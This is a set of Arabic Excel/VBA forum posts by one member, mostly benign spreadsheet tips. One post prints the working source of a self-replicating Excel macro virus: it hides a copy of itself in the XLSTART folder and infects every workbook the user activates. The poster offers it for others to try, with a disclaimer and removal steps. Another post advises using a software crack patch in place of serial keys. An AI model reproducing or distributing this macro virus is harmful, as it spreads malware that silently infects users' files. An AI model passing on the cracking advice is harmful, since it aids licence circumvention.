محمد يحياوي

استدعاء بيانات من جدول قاعدة بيانات ضع قاعدة البيانات في مجلد المستندات ...يمكنك التعديل على اسماء الحقول المراد جلب بياناتها ... يمكنك التعديل على على مكان نسخ الجدول استدعاء بيانات من جدول قاعدة بيانات.rar

الاخ الفاضل ايهاب على حد علمي ليس لذلك علاقة بالفيروسات ربما ذلك خطأ في الاوفيس نفسه اما عن كيف يضرب الفيروس فعند فتح الملف يشتغل الماكرو اذا كان ممكنا و الكود السابق مثال على ذلك لذلك اذا نزلت ملف اكسل (او اي ملف اوفيس) و كنت تشك في امره فمن الاحسن رفع الامان في الماكرو حتى لا يشتغل (الفايروس) ان جازت تسميته

الاخ الفاضل استعمل المعادلة =INT((TODAY()-A1)/365.25)

الاخوة الافاضل , الاساتذة الكرام اشكركم جزيل الشكر على اثراء الموضوع و كما قال الاخوة الكرام نحن نتعلم من اخطائنا فاشكر الاخوة الكرام مرة اخرى على جرأتهم و شجاعتهم في طرح هذه الاراء و اعود و اكرر الملف ليس به اي فيروس و التجربة مطلوبة للاطلاع على فحوى الموضوع و علاج المشكلة سهل و بسيط خاصة ان بعض الاساتذة قاموا بتجربته

الاخوة الافاضل اقدر شعوركم و حرصكم الشديد و كما قلت سابقا الموضوع الغرض منه تعليمي ... بالنسبة للملف ليس به اي فيروسات و الاخ يوسف عطا مكافح الفيروسات لديه حساس جدا ربما من التسمية فقط اما تاثيره فليس له تاثير الا على ملفات الاكسل و كما ادرجت الطريقة للتخلص من المشكلة و هي ليست بالصعبة و انا شخصيا الملف عندي في الجهاز و انا الذي قمت بتسميته ومكافح الفيروسات عندي قوي جدا (ESET smart security 5) على العموم هذا الكود لمن اراد التجربة Sub Auto_Open() If cek_global() Then 'check on global! (Optional to use) GoTo FuckSheet: 'found? Else infectglobal 'Goto to Infecting Routine End If FuckSheet: Application.OnSheetActivate = "XXX.XLM!Fuck" 'XXX.XLM is Template 'for Ur Virus 'Fuck is the MacroName 'for infecting bye: End Sub Function cek_global() As Boolean 'Yes/No (Flase/True) cek_global = False 'Set False First For x = 1 To Application.Workbooks.Count If Application.Workbooks(x).Name = "XXX.XLM" Then For y = 1 To Application.Workbooks("XXX.XLM").Modules.Count If Application.Workbooks("XXX.XLM").Modules(y).Name = "YYYYY" Then cek_global = True 'YYYYY is the module Name for Ur Code End If Next y End If Next x End Function Function infectglobal() Activebook = ActiveWorkbook.Name 'Get Active Workbook/WorkSheet Workbooks(activebook).SaveCopyAs Application.StartupPath + "\XXX.XLM" 'Make New Template (XXX.XLM) on Excel StarUp Directori (XLSTART) Workbooks.Open (Application.StartupPath + "\XXX.XLM") Windows("XXX.XLM").Visible = False 'Hide Dont let User See our move Application.Workbooks("XXX.XLM").Save 'Save it! End Function Sub Fuck() oactivebook = ActiveWorkbook.Name If inFuckIt() Then 'Check WorkSheet are they Infected?? GoTo bye2 'If Yes goto Bye2 Else 'If no ..... let`s doit!! End If Application.ScreenUpdating = False 'Hide from User Application.Windows("XXX.XLM").Visible = True Workbooks("XXX.XLM").Activate 'Activate XXX.XLM/Global/Template Sheets("YYYYY").Visible = True 'Activate/Open the Module Name Workbooks("XXX.XLM").Sheets("YYYYY").Copy Before:=Workbooks(oactivebook).Sheets(1) 'Copy Module from template to WorkSheet! Workbooks(oactivebook).Sheets("YYYY").Visible = False 'Hide Sheet !! on file Workbooks("XXX.XLM").Sheets("YYYYY").Visible = False 'Hide Sheet on Global/Template Windows("XXX.XLM").Visible = False 'Hide GLobal/Template bye2: Close End Sub Function inFuckIt() As Boolean 'Yes/No (False/True) activebook = ActiveWorkbook.Name 'Use Active WorkSheet inFuckIt = False 'set false first For y = 1 To Application.Workbooks(activebook).Modules.Count If Application.Workbooks(activebook).Modules(y).Name = "YYYYY" Then inFuckIt = True End If Next y End Function

1 - اُشهِد الله انني ما اردت في هذا الموضوع الا ان اثبت بعض مهارات الاكسل و امكاناته و خباياه 2 - اتبرأ امام الله ثم امامكم من اي استعمال سيئ لهذا الملف بهدف الاضرار بالاخرين 3 - الملف هو عبارة عن فيروس ملف اكسل حتى يعرف الاخوان مدى خطورة الماكروهات الضارة و الاحتراز منها 4 - عند فتح ملف جديد فانه يفتح ملف XXX.XLM و هو ملف اكسل وفيه رسالة خطأ 5 - عند فتح اي ملف اكسل فان الملف السابق يفتح معه و يبعث رسالة خطأ و يسبب ارباكا كبيرا 6 - يمكنك تجربة الملف لكن عندما تيأس و تصاب بالاحباط و تريد استعادة النظام او تبديل نسخة الاوفيس حاول حل المشكلة بالطريقة الاتية: من ادارة المهام (Ctrl + Shift+ Esc) او(Ctrl + Alt + Suppr) ...العمليات حدد Excel.exe ايقاف العملية ثم : - في WIN7 اتبع المسارC:\Users\Administrator\AppData\Roaming\Microsoft\Excel\XLSTART - في XP اتبع المسار C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTAR احذف الملف XXX.XLM ينتهي المشكل ان شاء الله Excel Virus.rar

الاخوة الافاضل - ابو نصار - خالد القدس بارك الله فيكم على المرور العطر وفقكم الله

اشكرك اخي طاهر كل عام و انت بخير

الاخ الكريم "اسامة" ليس في اكسل شيئ يسمى علامة مائية و لاكن يمكن ذلك بسهولة رأس مخصص ------> الجهة الوسطى -----> ضغط على entetr من لوحة المفاتيح 20 مرة او 25 مرة-----> اكتب النص الذي تريد -----> من ايقونة تنسيق النص في الاعلى يمكنك تغيير الحجم و اللون و الشفافية

الاخوة الافاضل سعد عابد جمال دغيدي شكرا جزيلا الاخ الفاضل محمد صالح شكرا على الكود الجميل ============================================== كود انشاء ملف وورد و تصدير بيانات اليه تصدير بيانات الى وورد.rar

الاخوة الافاضل - نادر - ابو احمد - الاحسان - ابو عبد الله - ابو محمد محمود - يوسف عطا بارك الله فيكم و كل عام و انتم بخير و تقبل الله منا ومنكم

الاخ الفاضل "محمد صالح" لاحظ الرابط قد يفيدنا ربط الموضوعين مع بعض ملف تنفيذي

الاخ الحبيب "الحسامي" ، "جمال الفار" اشكركم جزيل الشكر على الشعور الطيب و كل عام وانتم بخير

اخي العزيز "سعد" شكرا على الكلام الجميل و كل عام وانت بخير

الاحبة "ابو عبد الله" و "معتصم" مبارك الترقية و كل عام و انتم بخير

في بعض الاحيان اجد نفسي عندما اضع بعض الادوات في فورم احذف التسميات الافتراضية و اجعل تسميات خاصة بي و اذا تكرر الامر فسيكون مرهقا نوعا ما لذلك هذه الطريقة تجعلني اصنع عناصر تحكم خاصة بي في كل ملف افتحه .... لاحظ الشرح في هذا الفيديو Allocationcontrols.rar

الاستاذ الفاضل "محمد صالح" بارك الله فيك و كل عام و انت بخير الفكرة الرائعة لكن عندي بعض الملاحظات ... اولا الكود لا يعمل في في office2010 ثانيا الكود لا يعمل عندما يكون امان الماكرو مرتفعا الحقيقة جاءتني الفكرة منذ فترة و اردت تطبيقها على الاكسل لكني اصطدمت بمشكلة امان الماكرو فالكود لا يشتغل ما دام امان الماكرو مرتفعا لذك استعملت ملف رجستري يعمل قبل ملف الاكسل في ملف تنفيذي وننتظر ايجاد حل جذري لمشكلة امان الماكروا ... وفقك الله

كود لتثبيت وظيفة اضافية بفرض ان الملف هو MyAddIn.xla و ان مسار الملف هو C:\MyAddIn.xla Sub InstallAddIn() Dim AI As Excel.AddIn Set AI = Application.AddIns.Add(Filename:="C:\MyAddIn.xla") AI.Installed = True End Sub

او ضع الكود في حدث ThisWorkBook Private Sub Workbook_SheetActivate(ByVal Sh As Object) Range("A1").Select End Sub

الاخ الحبيب "سعد عابد" طول عمرك صاحب ذوق رفيع بارك الله فيك

الاخ الفاضل الاستاذ "دغيدي" لا ارى ان هناك اي مشكلة في طرح الموضوع تستدعي حذفه بل بالعكس ارى انه يجب تدخل الادارة في هذا الموضوع لتوضيح سياسة المنتدى ازاء هكذا مواضيع و تحديد مقاييس معينة لوضع الملفات و النقاش الذي اثير حول الموضوع ليس به اي خلاف سوى انه لم يطرح من قبل ارى ان يعالج لا ان يحذف ...

الاخوة الافاضل "محمد صالح" ، "احمد فضيلة" ، "ابو نصار" بارك الله فيكم و كل عام و انتم بخير

الاستاذ العميد"دغيدي" مرورك شرفني و ثناؤك و سام... بارك الله فيك

الاخ الحبيب لا تتعب نفسك في البحث جميع السريالات الموجودة لا تصلح عليك بالباتش صالح لمدة 6 اشهر و كرر العملية

الاخ الحبيب "جمال الفار" اعمالك الجميلة تتوالى وفقك الله و رد غيبتك و نفعنا بك